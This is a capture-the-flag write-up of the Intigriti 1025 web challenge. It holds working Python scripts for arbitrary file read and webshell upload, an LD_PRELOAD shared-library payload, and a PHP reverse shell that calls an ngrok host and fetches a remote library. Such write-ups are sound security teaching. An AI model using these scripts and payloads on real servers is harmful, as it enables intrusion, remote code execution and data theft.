Intigriti Challenge 1025
Table of Contents
Enumeration
/challenge.php
:
In here, we can enter an image URL. Let's try a dummy URL!
When we clicked the "Fetch Resource" button, it'll send a GET request to /challenge.php
with parameter url
.
Hmm… Maybe this feature is vulnerable to SSRF (Server-Side Request Forgery), which allows attackers to make different requests to internal services?
Let's try to fetch http://localhost/
!
Hmm… "access to localhost is not allowed"?
Also, since the application is written in PHP, this importer feature might be using PHP built-in functions such as file_get_contents
to get remote resources, and then include the result. With that said, maybe the application is vulnerable to LFI (Local File Inclusion). If so, maybe we can escalate it to RCE (Remote Code Execution) via PHP filter chain!
To test this theory, we can use a filter chain generator to generate a chain that outputs a PHP webshell payload:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|13:39:00(HKT)]
└> /opt/php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); >'
[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]); > (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID4)
php://filter/convert.iconv.UTF8.CSISO2022KR|[...]|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
If we try the above payload, the application will output the following message:
Since the application is just checking the URL contains the string http
, we can simply append that string in our payload. This works because wrapper php://temp
can have junk text:
php://filter/convert.iconv.UTF8.CSISO2022KR|[...]|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp,http
If we do that, we'll have a different message!
Oh! Looks like this import feature uses PHP's cURL library to fetch remote resources!
Arbitrary File Read
According to curl_init
parameter documentation, the url
parameter supports file://
protocol by default, because PHP config directive open_basedir
is not set by default.
The file://
protocol allows us to read arbitrary files like this:
file:///etc/passwd
But how can we bypass the http
string check? Well, it's actually very simple. We can just append the string into a HTTP query string like this:
file:///etc/passwd?http
By doing so, PHP's cURL library parses the URL like this:
- Protocol:
file://
- File path:
/etc/passwd
- HTTP query string:
http
With that said, let's try to read file /etc/passwd
!
Oh btw, for our convenience sake, we can use the following Python script:
read_files.py
import argparse
import requests
from bs4 import BeautifulSoup
BASE_URL = 'https://challenge-1025.intigriti.io'
CHALLENGE_ENDPOINT = f'{BASE_URL}/challenge.php'
def readFile(filePath, protocol='file://', outputFile=None):
parameter = { 'url': f'{protocol}{filePath}?http' }
soup = BeautifulSoup(requests.get(CHALLENGE_ENDPOINT, params=parameter).text, 'html.parser')
if (preElement := soup.find('pre')) is None:
print(f'[-] File does not exist')
return
fileContent = preElement.text.strip()
if outputFile is None:
print(f'[+] File content:\n{fileContent}')
return
with open(outputFile, 'w') as file:
file.write(fileContent)
print(f'[+] The file\'s content has been written to path {outputFile}')
return
if __name__ == '__main__':
argumentParser = argparse.ArgumentParser()
argumentParser.add_argument('-u', '--url', default=CHALLENGE_ENDPOINT, help=f'The URL of the challenge endpoint. Default: {CHALLENGE_ENDPOINT}', required=False)
argumentParser.add_argument('-o', '--output', help='The output filename.', required=False)
argumentParser.add_argument('filePath', help='The absolute file path of a file that you want to read.')
arguments = argumentParser.parse_args()
if arguments.url != CHALLENGE_ENDPOINT:
CHALLENGE_ENDPOINT = arguments.url
readFile(arguments.filePath, outputFile=arguments.output)
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:09:01(HKT)]
└> python3 read_files.py '/etc/passwd'
[+] File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Nice! What now?
Since we can read arbitrary files, why not go read the /challenge.php
source code?
Usually, the web root directory of the application is in /var/www/html
. If we're not sure, we can leverage an interesting quirk in the file://
protocol!
If the file path is a directory, it'll list out the directory's files! Although this behavior is not defined in RFC 8089, it's a common practice that to do that when the file path is a directory.
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:14:41(HKT)]
└> python3 read_files.py '/var/www/html/'
[+] File content:
uploads
partials
upload_shoppix_images.php
index.php
challenge.php
public
Now that we can list out all the files in the /var/www/html
directory, let's read file challenge.php
!
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:29:22(HKT)]
└> python3 read_files.py --output challenge.php '/var/www/html/challenge.php'
[+] The file's content has been written to path challenge.php
challenge.php
:
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (stripos($url, 'http') === false) {
die("<p style='color:#ff5252'>Invalid URL: must include 'http'</p>");
}
[...]
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
echo "<p style='color:#ff5252'>cURL Error: " . curl_error($ch) . "</p>";
} else {
echo "<h3>Fetched content:</h3>";
echo "<pre>" . htmlspecialchars($response) . "</pre>";
}
}
Turns out our theory is correct! The import feature is using cURL library to fetch remote resources, and then display the response in the <pre>
element.
We also saw that there's a PHP script called upload_shoppix_images.php
:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:31:27(HKT)]
└> python3 read_files.py '/var/www/html/'
[+] File content:
[...]
upload_shoppix_images.php
[...]
Hmm… What's that?
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:31:48(HKT)]
└> python3 read_files.py --output upload_shoppix_images.php '/var/www/html/upload_shoppix_images.php'
[+] The file's content has been written to path upload_shoppix_images.php
Arbitrary File Upload
In this PHP script, if the request method is POST, it'll check our request's file's MIME type is type image
, and the filename includes .png
, .jpg
, or .jpeg
(case-insensitive):
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['image'];
$filename = $file['name'];
[...]
$mime = mime_content_type($tmp);
if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
[...]
} else {
[...]
}
}
Let's say our request's file MIME type is image/png
, and the filename is foo.png
, it'll move our file's temporary path (tmp_name
) to path uploads/<filename>
:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$tmp = $file['tmp_name'];
[...]
if (
[...]
) {
move_uploaded_file($tmp, "uploads/" . basename($filename));
[...]
} else {
[...]
}
}
With that said, this PHP script is vulnerable to arbitrary file upload! Also, the validations can be very easily bypassed by making our request's file MIME type's type is image
with GIF file signature (GIF89a
) and the filename contains .png
, .jpg
, or .jpeg
. Therefore, we can upload our own PHP script with double file extension, like foo.png.php
.
However, if we try to access this PHP script, we'll get "403 Forbidden":
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:38:59(HKT)]
└> curl https://challenge-1025.intigriti.io/upload_shoppix_images.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.65 (Debian) Server at challenge-1025.intigriti.io Port 8080</address>
</body></html>
In the <address>
element, we know that the web server is using Apache, and its version is 2.4.65
!
To understand this "403 Forbidden", we can read Apache's configuration files. More specifically, site configuration files. Usually, the file path will be at /etc/apache2/sites-enabled/
:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:39:03(HKT)]
└> python3 read_files.py '/etc/apache2/sites-enabled/'
[+] File content:
000-default.conf
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:45:17(HKT)]
└> python3 read_files.py '/etc/apache2/sites-enabled/000-default.conf'
[+] File content:
<VirtualHost *:8080>
[...]
<Files "upload_shoppix_images.php">
<If "%{HTTP:is-shoppix-admin} != 'true'">
Require all denied
</If>
Require all granted
</Files>
</VirtualHost>
In file directive upload_shoppix_images.php
, if the request doesn't have header is-shoppix-admin
and its value is not true
, the request will be denied, resulting in "403 Forbidden".
Therefore, to access that PHP script, we need to append request header is-shoppix-admin: true
:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|14:49:02(HKT)]
└> curl -H "is-shoppix-admin: true" https://challenge-1025.intigriti.io/upload_shoppix_images.php
<!DOCTYPE html>
<html lang="en">
<head>
[...]
Let's exploit the arbitrary file upload vulnerability to gain RCE!
Again, for our convenience sake, we can use the following Python script to upload our PHP script:
arbitrary_file_upload.py
import argparse
import requests
from io import BytesIO
BASE_URL = 'https://challenge-1025.intigriti.io'
ARBITRARY_FILE_UPLOAD_ENDPOINT = f'{BASE_URL}/upload_shoppix_images.php'
DEFAULT_UPLOAD_FILENAME = 'webshell.png.php'
GIF_FILE_SIGNATURE = 'GIF89a'
UPLOAD_DIRECTORY = 'uploads'
def uploadPhpFile(filename, phpCode):
if filename is None:
filename = DEFAULT_UPLOAD_FILENAME
webshellPayload = f'<?php\n{phpCode}\n?>'
print(f'[*] Webshell payload:\n{webshellPayload}')
fileContentByte = BytesIO(f'{GIF_FILE_SIGNATURE}\n{webshellPayload}'.encode())
file = {'image': (filename, fileContentByte)}
header = { 'is-shoppix-admin': 'true' }
response = requests.post(ARBITRARY_FILE_UPLOAD_ENDPOINT, files=file, headers=header)
if response.status_code != 200:
print('[-] Failed to upload the file')
exit()
if '✅' not in response.text:
print(f'[-] Failed to upload the file. Response text:\n{response.text}')
exit()
uploadedFilePath = f'{UPLOAD_DIRECTORY}/{filename}'
print(f'[+] The file has been uploaded to {uploadedFilePath}')
return uploadedFilePath
def readUploadedFile(filePath):
response = requests.get(f'{BASE_URL}/{filePath}')
if response.status_code != 200:
print('[-] Unable to read the uploaded file')
exit()
print(f'[+] Response text:\n{response.text.strip()}')
if __name__ == '__main__':
argumentParser = argparse.ArgumentParser()
argumentParser.add_argument('-u', '--url', default=ARBITRARY_FILE_UPLOAD_ENDPOINT, help=f'The URL of the arbitrary file upload endpoint. Default: {ARBITRARY_FILE_UPLOAD_ENDPOINT}', required=False)
argumentParser.add_argument('-f', '--filename', default=DEFAULT_UPLOAD_FILENAME, help=f'The upload filename. Default: {DEFAULT_UPLOAD_FILENAME}', required=False)
argumentParser.add_argument('phpCode', help='The file content of the file.')
arguments = argumentParser.parse_args()
if arguments.url != ARBITRARY_FILE_UPLOAD_ENDPOINT:
ARBITRARY_FILE_UPLOAD_ENDPOINT = arguments.url
uploadedFilePath = uploadPhpFile(arguments.filename, arguments.phpCode)
readUploadedFile(uploadedFilePath)
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:14:49(HKT)]
└> python3 arbitrary_file_upload.py 'system("id");'
[*] Webshell payload:
<?php
system("id");
?>
[+] The file has been uploaded to uploads/webshell.png.php
[+] Response text:
GIF89a
<br />
<b>Fatal error</b>: Uncaught Error: Call to undefined function system() in /var/www/html/uploads/webshell.png.php:3
Stack trace:
#0 {main}
thrown in <b>/var/www/html/uploads/webshell.png.php</b> on line <b>3</b><br />
Wait a minute, function system
is undefined?
In PHP configuration, it is possible to disable a list of functions in directive disable_functions
. By default, this directive's value is an empty string, which means no functions are disabled.
To check the application's directive disable_functions
's value, we can read the PHP configuration file, or simply call function phpinfo
to display the config:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:19:02(HKT)]
└> python3 arbitrary_file_upload.py 'phpinfo();' | grep 'disable_functions'
<tr><td class="e">disable_functions</td><td class="v">system,passthru,shell_exec,popen,exec</td><td class="v">system,passthru,shell_exec,popen,exec</td></tr>
As we can see, the following functions are disabled:
system
passthru
shell_exec
popen
exec
Bypass disable_functions
via proc_open
To bypass this, we can try to find different functions that allow us to execute arbitrary OS commands. In PHP, there's a function called proc_open
, which executes an OS command and open file pointers for input/output.
Here's an example that execute OS command id
and display the stdout (1
) buffer:
$process = proc_open("id", [ 1 => ["pipe", "w"] ], $pipes);
echo stream_get_contents($pipes[1]);
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:27:26(HKT)]
└> python3 arbitrary_file_upload.py '$process = proc_open("id", [ 1 => ["pipe", "w"] ], $pipes); echo stream_get_contents($pipes[1]);'
[*] Webshell payload:
<?php
$process = proc_open("id", [ 1 => ["pipe", "w"] ], $pipes); echo stream_get_contents($pipes[1]);
?>
[+] The file has been uploaded to uploads/webshell.png.php
[+] Response text:
GIF89a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nice! We got RCE!
We can even pop a reverse shell via function fsockopen
!
$sock = fsockopen("<attacker_ip>", <attacker_port>);
$process = proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
Bypass disable_functions
via LD_PRELOAD
Trick
It is also possible to bypass disable_functions
via hijacking binary sendmail
's function getuid
.
In PHP, the mail
function will actually run binary sendmail
(In UNIX system). Inside that binary, the function getuid
is imported from a shared library, getuid_shadow.so
.
What if I tell you that we can control what library that the sendmail
binary will import? In environment variable LD_PRELOAD
, it can override the shared library's file path! Therefore, we can set LD_PRELOAD
's value to be our malicious shared library and execute arbitrary OS commands!
- Compile the following C code to a shared library
exploit.c
:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
const char* command = getenv("CMD");
system(command);
}
int getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:49:56(HKT)]
└> gcc -c -fPIC exploit.c -o exploit && gcc --share exploit -o exploit.so
- Write the shared library to disk, set environment variable
LD_PRELOAD
, and call functionmail
Setup a simple HTTP server:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:53:53(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Setup port forwarding via ngrok:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:53:52(HKT)]
└> ngrok tcp 8000
[...]
Forwarding tcp://0.tcp.ap.ngrok.io:12515 -> localhost:8000
[...]
PHP payload:
$cmd = "id>/tmp/siunam_rce";
$tempFile = tempnam(sys_get_temp_dir(), "rce");
$content = file_get_contents("<attacker_shared_library_url>");
file_put_contents($tempFile, $content);
putenv("CMD=$cmd");
putenv("LD_PRELOAD=$tempFile");
mail("", "", "", "", "");
Upload the PHP payload and trigger it via previous section's script:
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|16:01:30(HKT)]
└> python3 arbitrary_file_upload.py '$cmd = "id>/tmp/siunam_rce"; $tempFile = tempnam(sys_get_temp_dir(), "rce"); $content = file_get_contents("http://0.tcp.ap.ngrok.io:12515/exploit.so"); file_put_contents($tempFile, $content); putenv("CMD=$cmd"); putenv("LD_PRELOAD=$tempFile"); mail("", "", "", "", "");'
[*] Webshell payload:
<?php
$cmd = "id>/tmp/siunam_rce"; $tempFile = tempnam(sys_get_temp_dir(), "rce"); $content = file_get_contents("http://0.tcp.ap.ngrok.io:12515/exploit.so"); file_put_contents($tempFile, $content); putenv("CMD=$cmd"); putenv("LD_PRELOAD=$tempFile"); mail("", "", "", "", "");
?>
[+] The file has been uploaded to uploads/webshell.png.php
[+] Response text:
GIF89a
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|16:01:53(HKT)]
└> python3 read_files.py '/tmp/siunam_rce'
[+] File content:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nice! We successfully bypassed disable_functions
!
Exploitation
Armed with above information, we can gain a reverse shell via the following steps:
- Upload a PHP script and bypass
disable_functions
(proc_open
orLD_PRELOAD
trick) - Access the uploaded script to trigger our payload
- Setup a netcat listener
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:36:57(HKT)]
└> nc -lnvp 4444
Listening on 0.0.0.0 4444
- Setup port forwarding via ngrok
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:37:29(HKT)]
└> ngrok tcp 4444
[...]
Forwarding tcp://0.tcp.ap.ngrok.io:16640 -> localhost:4444
[...]
- Upload and trigger the following PHP reverse shell using the script in above section
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:36:02(HKT)]
└> python3 arbitrary_file_upload.py '$sock = fsockopen("0.tcp.ap.ngrok.io", 16640); $process = proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'
[*] Webshell payload:
<?php
$sock = fsockopen("0.tcp.ap.ngrok.io", 16640); $process = proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
[+] The file has been uploaded to uploads/webshell.png.php
[+] Response text:
GIF89a
- Profit
┌[siunam@~/ctf/Intigriti-Challenge/1025]-[2025/10/08|15:36:57(HKT)]
└> nc -lnvp 4444
[...]
Connection received on 127.0.0.1 56284
ls -lah /
total 68K
[...]
-rw-r--r-- 1 root root 35 Oct 8 04:17 93e892fe-c0af-44a1-9308-5a58548abd98.txt
[...]
cat /93e892fe-c0af-44a1-9308-5a58548abd98.txt
INTIGRITI{ngks896sdjvsjnv6383utbgn}
- Flag:
INTIGRITI{ngks896sdjvsjnv6383utbgn}
Conclusion
What we've learned:
- Arbitrary file read via
file://
URI protocol in PHP's cURL library - PHP
disable_functions
config bypass usingproc_open
orLD_PRELOAD
trick